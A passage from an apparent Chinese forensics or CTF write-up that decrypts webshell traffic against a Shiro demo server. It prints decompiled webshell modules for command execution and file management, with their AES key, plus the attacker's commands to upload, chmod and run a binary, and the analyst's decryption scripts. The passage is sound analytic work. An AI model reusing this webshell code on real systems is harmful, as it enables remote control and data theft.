wZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5vcy5uYW1lID0gTGludXg8YnIvPnN1bi5qbnUuZW5jb2RpbmcgPSBVVEYtODxici8+c3ByaW5nLmJlYW5pbmZvLmlnbm9yZSA9IHRydWU8YnIvPmphdmEubGlicmFyeS5wYXRoID0gL3Vzci9qYXZhL3BhY2thZ2VzL2xpYi9hbWQ2NDovdXNyL2xpYi94ODZfNjQtbGludXgtZ251L2puaTovbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudTovdXNyL2xpYi9qbmk6L2xpYjovdXNyL2xpYjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLmNsYXNzLnZlcnNpb24gPSA1Mi4wPGJyLz5zdW4ubWFuYWdlbWVudC5jb21waWxlciA9IEhvdFNwb3QgNjQtQml0IFRpZXJlZCBDb21waWxlcnM8YnIvPm9zLnZlcnNpb24gPSA2LjguMC04OC1nZW5lcmljPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gZmFsc2U8YnIvPnVzZXIudGltZXpvbmUgPSBFdGMvVVRDPGJyLz5qYXZhLmF3dC5wcmludGVyam9iID0gc3VuLnByaW50LlBTUHJpbnRlckpvYjxici8+ZmlsZS5lbmNvZGluZyA9IFVURi04PGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+Y2F0YWxpbmEuaG9tZSA9IC90bXAvdG9tY2F0LjIzNzE2ODc2NzEyOTA5ODAzOTAuODA4MDxici8+amF2YS5jbGFzcy5wYXRoID0gL3NoaXJvZGVtby0xLjAtU05BUFNIT1QuamFyPGJyLz51c2VyLm5hbWUgPSByb290PGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+c3VuLmphdmEuY29tbWFuZCA9IC9zaGlyb2RlbW8tMS4wLVNOQVBTSE9ULmphcjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+c3VuLmFyY2guZGF0YS5tb2RlbCA9IDY0PGJyLz51c2VyLmxhbmd1YWdlID0gZW48YnIvPmphdmEuc3BlY2lmaWNhdGlvbi52ZW5kb3IgPSBPcmFjbGUgQ29ycG9yYXRpb248YnIvPmF3dC50b29sa2l0ID0gc3VuLmF3dC5YMTEuWFRvb2xraXQ8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGU8YnIvPmphdmEudmVyc2lvbiA9IDEuOC4wXzEwMjxici8+amF2YS5leHQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2V4dDovdXNyL2phdmEvcGFja2FnZXMvbGliL2V4dDxici8+c3VuLmJvb3QuY2xhc3MucGF0aCA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3Jlc291cmNlcy5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvcnQuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3N1bnJzYXNpZ24uamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pzc2UuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pjZS5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvY2hhcnNldHMuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pmci5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9jbGFzc2VzPGJyLz5qYXZhLmF3dC5oZWFkbGVzcyA9IHRydWU8YnIvPmphdmEudmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5jYXRhbGluYS5iYXNlID0gL3RtcC90b21jYXQuMjM3MTY4NzY3MTI5MDk4MDM5MC44MDgwPGJyLz5maWxlLnNlcGFyYXRvciA9IC88YnIvPmphdmEudmVuZG9yLnVybC5idWcgPSBodHRwOi8vYnVncmVwb3J0LnN1bi5jb20vYnVncmVwb3J0Lzxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz5zdW4uY3B1LmVuZGlhbiA9IGxpdHRsZTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz4="} 再分别Base64解密,可得到LinuxInfo为Linux6.8.0-88-genericamd64,DriveList为/;,LocalIP为172.18.0.2,等等。证明上述确实是读取系统信息。 接着继续解密并逆向,发现执行了一些系统命令: ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(4).ico.class */ public class Zsiywhq { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Zsiywhq() { cmd = ""; cmd += "cd / ;whoami"; path = ""; path += "/"; } ... private String RunCMD(String cmd2) throws Exception { Process p; Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd2 != null && cmd2.length() > 0) { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd2}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset)); String line = br.readLine(); while (true) { String disr = line; if (disr == null) { break; } result = result + disr + "\n"; line = br.readLine(); } BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset)); String line2 = br2.readLine(); while (true) { String disr2 = line2; if (disr2 == null) { break; } result = result + disr2 + "\n"; line2 = br2.readLine(); } } return result; } ... } 找下来发现总共执行了这些: cd / ;whoami root cd / ;w 05:58:16 up 9 days, 2:05, 0 users, load average: 0.35, 0.63, 0.29 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT cd / ;ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 1 03:43 ? 00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar root 95 1 0 05:58 ? 00:00:00 /bin/sh -c cd / ;ps -ef root 96 95 0 05:58 ? 00:00:00 ps -ef 没什么用。接着发现接下来内容有了新的模式: {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长,不想看可以折叠 package sun.suh.tgvtrk; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.nio.charset.Charset; import java.nio.file.LinkOption; import java.nio.file.Path; import java.security.MessageDigest; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(10).ico.class */ public class Mcuygmskgn { public static String mode; public static String path; public static String newPath; public static String content; public static String charset; public static String hash; public static String blockIndex; public static String blockSize; public static String createTimeStamp; public static String modifyTimeStamp; public static String accessTimeStamp; private Object Request; private Object Response; private Object Session; private Charset osCharset; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Mcuygmskgn() { mode = ""; mode += "list"; path = ""; path += "/"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap(); try { try { fillContext(obj); if (mode.equalsIgnoreCase("list")) { result.put("msg", list()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("show")) { result.put("msg", show()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("checkExist")) { result.put("msg", checkExist(path)); result.put("status", "success"); } else if (mode.equalsIgnoreCase("delete")) { result = delete(); } else if (mode.equalsIgnoreCase("create")) { result.put("msg", create()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("append")) { result.put("msg", append()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("update")) { updateFile(); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("downloadPart")) { result.put("msg", downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize))); result.put("status", "success"); } else { if (mode.equalsIgnoreCase("download")) { download(); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); } catch (Exception e) { e.printStackTrace(); } return true; } if (mode.equalsIgnoreCase("rename")) { result = renameFile(); } else if (mode.equalsIgnoreCase("createFile")) { result.put("msg", createFile()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("compress")) { zipFile(path, true); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("createDirectory")) { result.put("msg", createDirectory()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("getTimeStamp")) { result.put("msg", getTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("updateTimeStamp")) { result.put("msg", updateTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("check")) { result.put("msg", checkFileHash(path)); result.put("status", "success"); } } try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e2) { e2.printStackTrace(); return true; } } catch (Throwable e3) { e3.printStackTrace(); result.put("msg", e3.getMessage()); result.put("status", "fail"); try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); return true; } catch (Exception e4) { e4.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so4 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write4 = so4.getClass().getMethod("write", byte[].class); write4.invoke(so4, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so4.getClass().getMethod("flush", new Class[0]).invoke(so4, new Object[0]); so4.getClass().getMethod("close", new Class[0]).invoke(so4, new Object[0]); } catch (Exception e5) { e5.printStackTrace(); } throw th; } } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } private void updateFile() throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path); if (ch == null) { FileOutputStream fos = new FileOutputStream(path); ch = fos.getChannel(); sessionSetAttribute(this.Session, "fos", fos); sessionSetAttribute(this.Session, path, ch); } synchronized (ch) { ch.position(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize)); ch.write(ByteBuffer.wrap(base64decode(content))); } } private Map<String, String> warpFileObj(File file) { Map<String, String> obj = new HashMap<>(); obj.put("type", file.isDirectory() ? "directory" : "file"); obj.put("name", file.getName()); obj.put("size", file.length() + ""); obj.put("perm", getFilePerm(file)); obj.put("lastModified", new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date(file.lastModified()))); return obj; } private boolean isOldJava() { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { return false; } return true; } private String checkExist(String path2) throws Exception { File file = new File(path2); if (file.exists()) { return file.length() + ""; } throw new Exception(""); } private String getFilePerm(File file) throws IllegalAccessException, ClassNotFoundException, IllegalArgumentException, InvocationTargetException { String permStr = ""; if (isWindows()) { try { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } catch (Error e) { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-"; } } else { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { try { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); getClass(); Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions"); Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]); Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions", new Class[0]).invoke(attrs, new Object[0])); permStr = result.toString(); } catch (Exception e2) { } } else { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } } return permStr; } private String list() throws Exception { File f = new File(path); List<Map<String, String>> objArr = new ArrayList<>(); objArr.add(warpFileObj(new File("."))); objArr.add(warpFileObj(new File(".."))); if (f.isDirectory() && f.listFiles() != null) { for (File temp : f.listFiles()) { objArr.add(warpFileObj(temp)); } } String result = buildJsonArray(objArr, true); return result; } private String show() throws Exception { byte[] fileContent = getFileData(path); return base64encode(fileContent); } private byte[] getFileData(String path2) throws IOException { ByteArrayOutputStream output = new ByteArrayOutputStream(); FileInputStream fis = new FileInputStream(new File(path2)); while (true) { int data = fis.read(); if (data != -1) { output.write(data); } else { fis.close(); return output.toByteArray(); } } } private String create() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "上传完成,远程文件大小:" + new File(path).length(); return result; } private Map<String, String> renameFile() throws Exception { Map<String, String> result = new HashMap<>(); File oldFile = new File(path); File newFile = new File(newPath); if (oldFile.exists() && (oldFile.isFile() & oldFile.renameTo(newFile))) { result.put("status", "success"); result.put("msg", "重命名完成:" + newPath); } else { result.put("status", "fail"); result.put("msg", "重命名失败:" + newPath); } return result; } private String createFile() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.close(); String result = path + "创建完成"; return result; } private String createDirectory() throws Exception { File dir = new File(path); dir.mkdirs(); String result = path + "创建完成"; return result; } private void download() throws Exception { FileInputStream fis = new FileInputStream(path); Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); while (true) { int data = fis.read(); if (data != -1) { write.invoke(so, Integer.valueOf(data)); } else { so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); fis.close(); return; } } } private String append() throws Exception { FileOutputStream fso = new FileOutputStream(path, true); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "追加完成,远程文件大小:" + new File(path).length(); return result; } private Map<String, String> delete() throws Exception { Map<String, String> result = new HashMap<>(); File f = new File(path); if (f.exists()) { if (f.delete()) { result.put("status", "success"); result.put("msg", path + " 删除成功."); } else { result.put("status", "fail"); result.put("msg", "文件" + path + "存在,但是删除失败."); } } else { result.put("status", "fail"); result.put("msg", "文件不存在."); } return result; } private String getTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); Map<String, String> timeStampObj = new HashMap<>(); if (f.exists()) { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Object createTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("creationTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastAccessTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastAccessTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); Object lastModifiedTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastModifiedTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]); String createTimeStamp2 = df.format(new Date(((Long) createTime).longValue())); String lastAccessTimeStamp = df.format(new Date(((Long) lastAccessTime).longValue())); String lastModifiedTimeStamp = df.format(new Date(((Long) lastModifiedTime).longValue())); timeStampObj.put("createTime", createTimeStamp2); timeStampObj.put("lastAccessTime", lastAccessTimeStamp); timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp); String result = buildJson(timeStampObj, true); return result; } throw new Exception("文件不存在"); } private boolean isWindows() { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { return true; } return false; } private String updateTimeStamp() throws Exception { DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); if (f.exists()) { f.setLastModified(df.parse(modifyTimeStamp).getTime()); if (!isOldJava()) { Class PathsCls = Class.forName("java.nio.file.Paths"); Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class); Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]); Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(createTimeStamp).getTime())); Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(accessTimeStamp).getTime())); Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(modifyTimeStamp).getTime())); BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime); } return "时间戳修改成功。"; } throw new Exception("文件不存在"); } private String downloadPart(String path2, long blockIndex2, long blockSize2) throws Exception { int size; FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch == null) { FileInputStream fis = new FileInputStream(path2); ch = fis.getChannel(); sessionSetAttribute(this.Session, "fis", fis); sessionSetAttribute(this.Session, path2, ch); } ByteBuffer buffer = ByteBuffer.allocate((int) blockSize2); synchronized (ch) { ch.position(blockIndex2 * blockSize2); size = ch.read(buffer); } byte[] content2 = new byte[size]; System.arraycopy(buffer.array(), 0, content2, 0, size); return base64encode(content2); } private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception { File file = new File(srcDir); String fileName = file.getName(); FileOutputStream out = new FileOutputStream(new File(srcDir).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip"); System.currentTimeMillis(); ZipOutputStream zos = null; try { try { zos = new ZipOutputStream(out); File sourceFile = new File(srcDir); compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure); System.currentTimeMillis(); if (zos != null) { try { zos.close(); } catch (IOException e) { e.printStackTrace(); } } } catch (Exception e2) { throw new RuntimeException("zip error from ZipUtils", e2); } } catch (Throwable th) { if (zos != null) { try { zos.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception { byte[] buf = new byte[102400]; if (sourceFile.isFile()) { zos.putNextEntry(new ZipEntry(name)); FileInputStream in = new FileInputStream(sourceFile); while (true) { int len = in.read(buf); if (len != -1) { zos.write(buf, 0, len); } else { zos.closeEntry(); in.close(); return; } } } else { File[] listFiles = sourceFile.listFiles(); if (listFiles == null || listFiles.length == 0) { if (KeepDirStructure) { zos.putNextEntry(new ZipEntry(name + "/")); zos.closeEntry(); return; } return; } for (File file : listFiles) { if (KeepDirStructure) { compress(file, zos, name + "/" + file.getName(), KeepDirStructure); } else { compress(file, zos, file.getName(), KeepDirStructure); } } } } ... } {/collapse-item} {/collapse} 发现是获取了/的文件列表,返回值也印证了这一点。后续的几个包分别获取了: /tmp/ /var/ /var/tmp/ 的列表。 再之后发现: package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } 调用了写入文件的功能,往/var/tmp/out追加写入了content经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有/favicondemo.ico,发现有737个文件,编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息: import os import re import base64 from Crypto.Cipher import AES KEY = b"1f2c8075acd3d118" DIR = "export" def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" chunks = [] def get_sort_key(fname): match = re.search(r'\((\d+)\)', fname) return int(match.group(1)) if match else 0 files = sorted(os.listdir(DIR), key=get_sort_key) for fname in files: path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() data = decrypt_to_class(body) if data.startswith(b"\xca\xfe\xba\xbe"): with open(f"payload-{fname}.class", "wb") as file: file.write(data) print(f"Dump {fname} as java class file") else: with open(f"payload-{fname}.txt", "wb") as file: file.write(data) print(f"Dump {fname} as txt file") 一路看过去,发现中间都是在上传,最后检查了一遍Hash: package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } 并且给予执行权限: package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } 然后执行: package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } 得到了一个aes-key:IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=,之后就没有任何HTTP通信了。 第三层: 手写Shell 上面的HTTP流之后有一个TCP流通信,Dump出来发现: 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 因为其长度不固定,推测不是ECB和CBC,尝试使用常见的CTR和CFB: import base64 import binascii from Crypto.Cipher import AES from Crypto.Util import Counter key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) chunks = [] i = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] chunks.append(chunk) i += length iv=b'\x00' * 16 print(f"iv:0*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr) for idx, c in enumerate(chunks): dec = cipher_ctr.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") print("cfb:") cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) for idx, c in enumerate(chunks): dec = cipher_cfb.decrypt(c) print(f"{idx}: len{len(dec)}: {dec}") iv=b'\xff' * 16 print(f"iv:ff*16") print("ctr:") ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big')) cipher_ctr = AES.new(key, 